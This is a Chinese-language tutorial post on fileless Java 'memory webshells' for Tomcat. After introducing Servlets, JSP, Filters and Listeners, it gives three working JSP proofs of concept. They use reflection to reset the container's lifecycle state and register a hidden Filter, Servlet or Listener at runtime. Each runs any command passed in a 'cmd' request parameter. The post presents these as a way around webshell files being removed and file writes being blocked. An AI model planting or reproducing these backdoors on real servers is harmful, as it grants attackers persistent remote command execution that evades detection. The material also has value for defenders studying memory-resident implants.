Java内存马1-传统web内存马
1、前置知识
(1)Tomcat
Tomcat是一个开源的、轻量级的、用于Java Servlet和JavaServer Pages（JSP）的Web应用程序服务器。它是Apache软件基金会的一个项目，也是最流行的Servlet容器之一，适用于开发和部署各种类型的Java Web应用程序。
Tomcat负责管理Servlet的生命周期，包括加载、初始化、调用和销毁。当Tomcat接收到一个HTTP请求时，它会根据请求的URL路径找到对应的Servlet，并根据需要实例化和初始化这个Servlet，然后调用它的service()方法处理请求。在Servlet容器关闭时，Tomcat会销毁所有的Servlet实例，释放资源。
(2)Servlet
Servlet是Java编写的服务器端程序，用于处理请求和生成响应。Servlet是javaEE规范之一。Servlet程序与Filter过滤器、Listener监听器并称为三大组件。在编写javaWeb应用程序时，通常使用Servlet的子类HttpServlet来实现对HTTP请求的处理。
Servlet的生命周期：
（1）构造 servlet，然后使用 init 方法将其初始化。
（2）处理来自客户端的对 service 方法的所有调用。
（3）从服务中取出 servlet，然后使用 destroy 方法销毁它，最后进行垃圾回收并终止它。
//实现Servlet接口的类
@WebServlet(name = "MyServlet", value = "/My-servlet")
public class HelloServlet implements Servlet {
/**
* @param servletConfig
* @throws ServletException
*/
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
System.out.printf("hello! Srevlet被访问了");
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
package com.example.mshell;
//给servlet程序配置访问地址
@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>" + message + "</h1>");
out.println("</body></html>");
}
public void destroy() {
}
}
ServletContext是一个接口，表示Servlet上下文对象，其实现类为ApplicationContextFacade和ApplicationContext；一个web工程只有一个ServletContext对象实例；ServletContext是一个域对象；
ServletContext的声明周期与web工程一致，随着web工程的创建而创建，停止而消失；
域对象是可以向Map一样存取数据的对象，这里的域指定是存取对象的操作范围；
| 存数据方法 | 取数据方法 | 删除数据方法 | |
|---|---|---|---|
| Map | put() | get() | remove() |
| 域对象 | setAttribute() | getAttribute() | removeAttribute() |
ServletContext接口的四个常见作用：
（1）像Map一样存取数据(Sting-object)
（2）获取web.xml中配置的上下文参数context-param
（3）获取工程部署后服务器上web工程的绝对路径（常用于获取工程内资源的绝对路径）
（4）获取当前工程路径
public class ServletCt extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// super.doGet(req, resp);
ServletContext st = this.getServletContext();
System.out.println("context-param-user：" + st.getInitParameter("user"));
System.out.println("工程路径：" + st.getContextPath());
System.out.println("工程部署路径：" + st.getRealPath("/"));
System.out.println("资源1.png的绝对路径" + st.getRealPath("/images/1.png"));
st.setAttribute("key", "value");
st.setAttribute("?", "?");
st.removeAttribute("?");
System.out.println(st.getAttribute("key"));
System.out.println(st.getAttribute("?"));
}
}
(3)JSP
JSP（JavaServer Pages）是一种用于开发动态Web内容的Java技术。与Servlet相比，JSP更注重于将Java代码嵌入到HTML页面中，以便更轻松地生成动态内容。JSP页面通常包含HTML标记和嵌入的Java代码片段，这些代码片段会在服务器端执行，生成最终的HTML内容，然后将其发送给客户端浏览器。
当我们第一次访问一个jsp页面的时候，Tomcat服务器会根据jsp文件生成一个Servlet程序的源文件并且编译成.class字节码程序。观察源码可以发现其底层回传数据的逻辑还是通过HttpServletResponse(用于返回响应的类，通常与HttpServletRequest一起使用)下writer对象的的write方法将数据返回给客户端；
JSP页面中的HTML部分会被转换成Java代码中的字符串常量，而Java代码部分则直接保留。我们可以在CATALINA_BASE/work/Catalina 目录直接找到该文件；
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="hello-servlet">Hello Servlet</a><br/><br/>
<%
out.print("这是一段java代码");
%>
</body>
</html>
(4)Filter
Filter是Java Servlet规范中的一种组件，用于在Servlet容器中对HTTP请求进行预处理和后处理。Filter可以在Servlet处理请求之前、响应生成之后，对请求进行拦截、修改和增强。Filter通常用于实现诸如日志记录、字符编码转换、权限控制、数据压缩等功能，对于Web应用程序的开发和管理具有重要意义。与Servlet类似，Filter也可以通过在web.xml文件中进行配置，或者使用Servlet 3.0中的注解方式来声明和配置。Filter是Java Web开发中非常重要的一个组件，能够提高Web应用程序的灵活性、可维护性和安全性。
package com.example.mshell;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter(urlPatterns = "/admin/*")
public class HelloFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("拦截到了/admin/下的一次请求");
//放行请求
chain.doFilter(request,response);
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
(5)Listener
Listener是Java Servlet规范中的一种组件，用于监听Web应用程序中的事件，如ServletContext的创建和销毁、HttpSession的创建和销毁、ServletRequest的创建和销毁等。Listener可以在特定事件发生时执行相应的逻辑，用于监听和响应Web应用程序的生命周期和状态变化。当对应的事件发生时，容器会调用Listener中的相应方法，执行监听逻辑。
package com.example.mshell;
@WebListener
public class HelloListener implements ServletContextListener {
@Override
public void contextInitialized(ServletContextEvent sce) {
// 当ServletContext被初始化时调用该方法
System.out.println("ServletContext Initialized");
}
@Override
public void contextDestroyed(ServletContextEvent sce) {
// 当ServletContext被销毁时调用该方法
System.out.println("ServletContext Destroyed");
}
}
(6)内存马
内存马宏观意义上是在内存中被植入的恶意代码，“无文件落地”特性是内存马的一个重要特点，指的是恶意代码不需要写入到被感染系统的磁盘上，而是直接加载到系统的内存中并在其中运行。这种特性使得内存马更难以被传统的安全防护措施检测和清除，因为它们不留下明显的痕迹。
但是内存马在实际攻防中远不止于此，可以使用内存马解决很多棘手的问题，例如webshell文件落地被杀，不能反弹shell、禁止文件写入等等情况，这篇文章中所有的内存马分析都是针对传统Java web型应用，Servlet内存马、Listener内存马、Filter内存马。当然，内存马的类型远不止于此，还有针对各种框架、中间件，亦或是配合反序列化漏洞的内存马。但因为篇幅原因后续再记录。
文章中的项目框架为javaWeb-Maven-Tomcat9.0.80;在Tomcat不同版本中实现代码略有不同，但是基本的思路是一样的；
本文对Tomcat源码部分不做重点分析，重在了解动态创建三大组件的过程。
2、Filter内存马
在Servlet3.0后，本身就提供了动态注册组件的API接口定义，不过有一些限制，本文的所有内存马也是全部利用Servlet API入手进行内存马的编写；
在ServletContext接口中定义了方法addFilter，就是用来动态的添加一个Filter组件；
但是请注意这里的注释：
异常情况处理：
- 如果ServletContext已经被初始化，则抛出IllegalStateException。
- 如果filterName为null或者空字符串，则抛出IllegalArgumentException。
- 如果ServletContext被传递给了一个不在web.xml或者web-fragment.xml中声明，也没有使用@WebListener注解声明的ServletContextListener的contextInitialized方法，则抛出UnsupportedOperationException。
处理这些异常情况是一项重要的任务；
具体的实现在ApplicationContext中体现：
private FilterRegistration.Dynamic addFilter(String filterName, String filterClass, Filter filter)
throws IllegalStateException {
//filterName不能为空
if (filterName == null || filterName.equals("")) {
throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", filterName));
}
//检查applicathion处于何种状态
// TODO Spec breaking enhancement to ignore this restriction
checkState("applicationContext.addFilter.ise");
//依据filterName查找是否有其对应的findFilterDef
FilterDef filterDef = context.findFilterDef(filterName);
// Assume a 'complete' FilterRegistration is one that has a class and
// a name
//下面是一系列检查和初始化工作 不是很重要
if (filterDef == null) {
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
context.addFilterDef(filterDef);
} else {
if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
return null;
}
}
if (filter == null) {
filterDef.setFilterClass(filterClass);
} else {
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
}
//创建一个ApplicationFilterRegistration
return new ApplicationFilterRegistration(filterDef, context);
}
这里首先就需要通过checkState函数，它用来检查当前context的状态是否为STARTING_PREP，“STARTING_PREP”代表还未被初始化；其中调用了来自LifecycleBase的getState函数；
而这个state的状态是由Tomcat控制的，当看到web页面的时候就已经经过初始化了，需要反射修改这个值；
可以发现它是一个对象，来自枚举类LifecycleState;
第一反应就是通过反射调用setState()方法，来绕过这个限制，发现在StandardContext类中并没有直接的方法声明，而是来到了LifecycleBase的setState方法，随即发现继承关系如下：
此外，还发现该方法中调用了setStateInternal方法，最终确定state的值由LifecycleBase中的属性值确定。
还有其他的绕过方法例如自行创建FilterDef和FilterConfig, 此处直接通过反射修改这个值；
假设现在通过了这个函数的检查，继续往下分析；
addFilter函数最终会返回一个ApplicationFilterRegistration，跟进这个类中看一眼；
这里有一个addMappingForUrlPatterns，给Filter添加拦截路径；
最后来到StandardContext，这里有个方法filterStart()用于配置和初始化Filter:
其实到这里思路就大致清晰了，只是有一些边边角角的地方跟一下代码逻辑就好，这里就不再说了，基本流程：
demo如下：
<%@ page import="java.io.IOException" %>
<%@ page import="com.example.mshell.HelloFilter" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.EnumSet" %>
<%@ page import="org.apache.catalina.LifecycleState" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.util.LifecycleBase" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
<%!
public class HackFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
try {
String cmd = (String)request.getParameter("cmd");
if (cmd!=null){
Runtime.getRuntime().exec(cmd);
}
} catch (IOException e) {
throw new RuntimeException(e);
}
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
}
%>
<%
HackFilter hackFilter = new HackFilter();
ServletContext servletContext = request.getServletContext();
StandardContext standardContext= null;
try {
//获取StandardContext对象
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(application);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
standardContext= (StandardContext) context1.get(applicationContext);
//修改state
Class<?> lifecycleStateClass= standardContext.getClass().getSuperclass().getSuperclass().getSuperclass();
Field state = lifecycleStateClass.getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext,LifecycleState.STARTING_PREP);
//添加Filter
FilterRegistration.Dynamic applicationFilterRegistration = applicationContext.addFilter("HackFilter", hackFilter);
//恢复容器状态
state.set(standardContext,LifecycleState.STARTED);
//初始化filter
standardContext.filterStart();
//设置拦截路径
EnumSet<DispatcherType> dispatcherTypes = EnumSet.of(DispatcherType.REQUEST);
applicationFilterRegistration.addMappingForUrlPatterns(dispatcherTypes,true,"/hack/*");
} catch (Exception e) {
throw new RuntimeException(e);
}
%>
</html>
访问cmd.jsp后访问路径/hack/?cmd=calc;成功弹出计算器；
3、Servlet内存马
基本思路一样，都是从addXXX入手，直接给出POC；
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.LifecycleState" %><%--
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
<%
try {
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);
HackServlet hackServlet = new HackServlet();
Class<?> superclass = standardContext.getClass().getSuperclass().getSuperclass().getSuperclass();
Field state = superclass.getDeclaredField("state");
state.setAccessible(true);
state.set(standardContext, LifecycleState.STARTING_PREP);
ServletRegistration.Dynamic servletRegistration = applicationContext.addServlet("HackServlet", hackServlet);
state.set(standardContext,LifecycleState.STARTED);
// loadOnStartup为0或者大于0时，表示容器在应用启动时就加载并初始化这个servlet；
servletRegistration.setLoadOnStartup(1);
servletRegistration.addMapping("/hackServlet");
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
%>
<%!
public class HackServlet extends HttpServlet {
public void init() {
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setHeader("content-type", "text/html;charset=UTF-8");
response.setCharacterEncoding("UTF-8");
response.getWriter().println("成功创建HackServlet");
String cmd = request.getParameter("cmd");
if (cmd!=null){
Runtime.getRuntime().exec(cmd);
}
}
public void destroy() {
}
}
%>
</html>
4、Listener内存马
Listener可以不用设置state的值，依据ServletRequestEvent对象还可以有很多操作；这里贴上最简单的POC；
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
<%
try {
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext o = (ApplicationContext) context.get(servletContext);
Field context1 = o.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(o);
standardContext.addApplicationEventListener(new HackListener());
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
%>
<%!
public class HackListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("监听到请求");
String cmd = sre.getServletRequest().getParameter("cmd3");
if (cmd!=null){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
}
}
%>
</html>
